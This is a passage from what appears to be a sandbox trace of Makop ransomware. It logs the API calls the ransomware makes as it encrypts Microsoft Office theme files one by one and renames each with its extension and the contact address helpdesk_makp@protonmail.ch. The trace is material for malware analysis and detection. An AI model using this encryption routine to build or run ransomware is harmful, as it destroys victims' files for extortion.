[0097.455] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.455] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.455] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.455] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.455] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.456] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.456] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.456] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.456] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.456] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.456] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19539, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x19539, lpOverlapped=0x0) returned 1 [0097.460] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x19540, dwBufLen=0x19540 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x19540) returned 1 [0097.462] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.462] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19540, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x19540, lpOverlapped=0x0) returned 1 [0097.463] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.463] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x19614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.463] SetEndOfFile (hFile=0x138) returned 1 [0097.474] GetProcessHeap () returned 0x48a0000 [0097.475] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.475] GetProcessHeap () returned 0x48a0000 [0097.475] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.475] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0097.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.476] CloseHandle (hObject=0x138) returned 1 [0097.477] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0097.477] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned 77 [0097.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.479] GetProcessHeap () returned 0x48a0000 [0097.479] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.480] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.480] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.480] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0097.485] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.485] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.485] GetProcessHeap () returned 0x48a0000 [0097.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.486] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.486] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.486] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.486] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.486] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.487] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.487] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.487] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.488] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.488] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.488] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x255, lpOverlapped=0x0) returned 1 [0097.488] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x260, dwBufLen=0x260 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x260) returned 1 [0097.488] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.489] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x260, lpOverlapped=0x0) returned 1 [0097.489] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.489] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.489] SetEndOfFile (hFile=0x138) returned 1 [0097.499] GetProcessHeap () returned 0x48a0000 [0097.499] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.499] GetProcessHeap () returned 0x48a0000 [0097.499] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.499] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0097.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.504] CloseHandle (hObject=0x138) returned 1 [0097.505] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.505] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0097.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.505] GetProcessHeap () returned 0x48a0000 [0097.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.506] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.506] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.506] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.506] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.506] GetProcessHeap () returned 0x48a0000 [0097.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.506] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.506] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.507] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.532] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.532] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.533] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.533] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.533] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.533] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.534] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.534] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.534] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1400, lpOverlapped=0x0) returned 1 [0097.536] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1400, dwBufLen=0x1400 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1400) returned 1 [0097.536] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.536] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1400, lpOverlapped=0x0) returned 1 [0097.536] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.537] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x14d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.537] SetEndOfFile (hFile=0x138) returned 1 [0097.567] GetProcessHeap () returned 0x48a0000 [0097.567] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.567] GetProcessHeap () returned 0x48a0000 [0097.567] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.567] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0097.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.569] CloseHandle (hObject=0x138) returned 1 [0097.570] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.570] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0097.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.572] GetProcessHeap () returned 0x48a0000 [0097.572] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.572] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.572] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.572] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0097.580] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.580] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.581] GetProcessHeap () returned 0x48a0000 [0097.581] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.581] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.581] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.581] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.581] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.581] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.581] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.582] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.582] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.582] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.582] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.582] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.582] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xed34, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xed34, lpOverlapped=0x0) returned 1 [0097.585] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xed40, dwBufLen=0xed40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xed40) returned 1 [0097.586] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.586] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xed40, lpOverlapped=0x0) returned 1 [0097.586] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.586] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xee14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.586] SetEndOfFile (hFile=0x138) returned 1 [0097.595] GetProcessHeap () returned 0x48a0000 [0097.595] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.595] GetProcessHeap () returned 0x48a0000 [0097.595] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.596] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0097.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.597] CloseHandle (hObject=0x138) returned 1 [0097.597] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.597] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.598] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0097.598] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE") returned 59 [0097.598] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*") returned 63 [0097.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 